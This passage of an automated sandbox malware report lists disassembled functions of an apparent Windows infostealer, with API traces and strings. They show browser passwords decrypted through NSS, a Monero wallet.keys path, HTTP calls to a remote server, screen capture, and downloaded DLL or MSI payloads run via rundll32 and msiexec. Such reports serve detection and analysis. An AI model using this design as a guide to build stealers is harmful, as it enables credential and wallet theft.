Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 633ff9d96bbf70e4edd4c9dd194e113bbb99595c9b889c640a198e6989bb9ec3
Instruction ID: 0620d74ad16d663d9ba4eac5fa0d498eb44de0dcf24020698a1fb3579f340b6c
Opcode Fuzzy Hash: 633ff9d96bbf70e4edd4c9dd194e113bbb99595c9b889c640a198e6989bb9ec3
Instruction Fuzzy Hash: 2F3129B250C210AFE705BF28D8427BEFBE5EF98710F06092DE6C583250D6359850CB8B

Function 005C9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 005BC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 005BC9A5

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00C7E378,00000000,?,005D144C,00000000,?,?), ref: 005BCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005BCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 005BCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005BCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 005BCAD9
StrStrA.SHLWAPI(?,00C7E438,005D0B52), ref: 005BCAF7
StrStrA.SHLWAPI(00000000,00C7E480), ref: 005BCB1E
StrStrA.SHLWAPI(?,00C7EAC0,00000000,?,005D1458,00000000,?,00000000,00000000,?,00C79FA8,00000000,?,005D1454,00000000,?), ref: 005BCCA2
StrStrA.SHLWAPI(00000000,00C7E980), ref: 005BCCB9

Part of subcall function 005BC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005BC871
Part of subcall function 005BC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005BC87C
Part of subcall function 005BC820: PK11_GetInternalKeySlot.NSS3 ref: 005BC88A
Part of subcall function 005BC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 005BC8A5
Part of subcall function 005BC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 005BC8EB
Part of subcall function 005BC820: PK11_FreeSlot.NSS3(?), ref: 005BC961

StrStrA.SHLWAPI(?,00C7E980,00000000,?,005D145C,00000000,?,00000000,00C79FC8), ref: 005BCD5A
StrStrA.SHLWAPI(00000000,00C79D98), ref: 005BCD71

Part of subcall function 005BC820: lstrcat.KERNEL32(?,005D0B46), ref: 005BC943
Part of subcall function 005BC820: lstrcat.KERNEL32(?,005D0B47), ref: 005BC957
Part of subcall function 005BC820: lstrcat.KERNEL32(?,005D0B4E), ref: 005BC978

lstrlen.KERNEL32(00000000), ref: 005BCE44
CloseHandle.KERNEL32(00000000), ref: 005BCE9C
NSS_Shutdown.NSS3 ref: 005BCEAA

Strings

, xrefs: 005BC9C6

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 75a1977e0eff9e833c4733bacc24f38312ef1fb89f30d8b4ff17116f70321666
Instruction ID: 1f34c080151a7e0e9abf7223714ca78ebb112cbdca74c8d3e9648ab9086674b8
Opcode Fuzzy Hash: 75a1977e0eff9e833c4733bacc24f38312ef1fb89f30d8b4ff17116f70321666
Instruction Fuzzy Hash: 3CE1FAB2900109AFDB14EBE4DC9AFEEBF78BF94304F00415DF10666191EE746A4ACB65

Function 005C9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 005C906C

Strings

image/jpeg, xrefs: 005C9136

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: e13ed59926c8782221b62d63b9a62e7f23caabc4bc0d90185aaf7e381bc7a52c
Instruction ID: 785a73939d699435cf252918d9bbaa3c643f49e24462056dd0cdf0fe850b8ccd
Opcode Fuzzy Hash: e13ed59926c8782221b62d63b9a62e7f23caabc4bc0d90185aaf7e381bc7a52c
Instruction Fuzzy Hash: D37100B5910209AFDB14EFE4DC89FEDBBB9BF48700F108508F515A7290DB78A905CB65

Function 005C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005C17C5
ExitProcess.KERNEL32 ref: 005C17D1

Strings

block, xrefs: 005C17B7

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 0d0135bbe964bebd4497c44a0aad44796b435686c4289a7f4c35159beacb8df3
Instruction ID: 15d224b9a2fc911054bfdff9cef3699a135b8152b09c0bc3111d180e07d0474c
Opcode Fuzzy Hash: 0d0135bbe964bebd4497c44a0aad44796b435686c4289a7f4c35159beacb8df3
Instruction Fuzzy Hash: 545127B4A04209EFCB04DFE4D954FBE7BB5BB49704F10844EE40AA7381D774A951CBAA

Function 005C2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

ShellExecuteEx.SHELL32(0000003C), ref: 005C31C5
ShellExecuteEx.SHELL32(0000003C), ref: 005C335D
ShellExecuteEx.SHELL32(0000003C), ref: 005C34EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 005C34BF
C:\Windows\system32\rundll32.exe, xrefs: 005C3332
.dll, xrefs: 005C31E5
/i ", xrefs: 005C33E4
"" , xrefs: 005C309A
.msi, xrefs: 005C3398
<, xrefs: 005C3490
/passive, xrefs: 005C345B

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8dfc335f40b83bb50fe4a1cac86f540ed21a4d822b49be521af2e0b4345eb4a4
Instruction ID: e69cb208197fba326edd87ec9e4d5b89f02b829797b790a09f0ab091ec02fda5
Opcode Fuzzy Hash: 8dfc335f40b83bb50fe4a1cac86f540ed21a4d822b49be521af2e0b4345eb4a4
Instruction Fuzzy Hash: 6612F77180010D9EDB19EBE0DC9AFEEBF78BF94304F50415DE10666191EF742A4ACBA6

Function 005C52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B6280: InternetOpenA.WININET(005D0DFE,00000001,00000000,00000000,00000000), ref: 005B62E1
Part of subcall function 005B6280: StrCmpCA.SHLWAPI(?,00C7F900), ref: 005B6303
Part of subcall function 005B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005B6335
Part of subcall function 005B6280: HttpOpenRequestA.WININET(00000000,GET,?,00C7EDD0,00000000,00000000,00400100,00000000), ref: 005B6385
Part of subcall function 005B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005B63BF
Part of subcall function 005B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005B63D1

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005C5318
lstrlen.KERNEL32(00000000), ref: 005C532F

Part of subcall function 005C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005C8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 005C5364
lstrlen.KERNEL32(00000000), ref: 005C5383
lstrlen.KERNEL32(00000000), ref: 005C53AE

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Strings

ERROR, xrefs: 005C546F
ERROR, xrefs: 005C5432
ERROR, xrefs: 005C530A
ERROR, xrefs: 005C54A9
ERROR, xrefs: 005C53B9

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 6ca6ab30578b44e9538f0f2c5ed928230701c454e2278757b1540402e7b0c06f
Instruction ID: 746aad98b7522deb103e5e16b0c78427c4e68abc72ce5c161d6781a45f81e933
Opcode Fuzzy Hash: 6ca6ab30578b44e9538f0f2c5ed928230701c454e2278757b1540402e7b0c06f
Instruction Fuzzy Hash: A251B77091014EAFDB18FFA4C99AFED7F79BF90304F504018E40A5A592EF346A46CB62

Function 005C12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
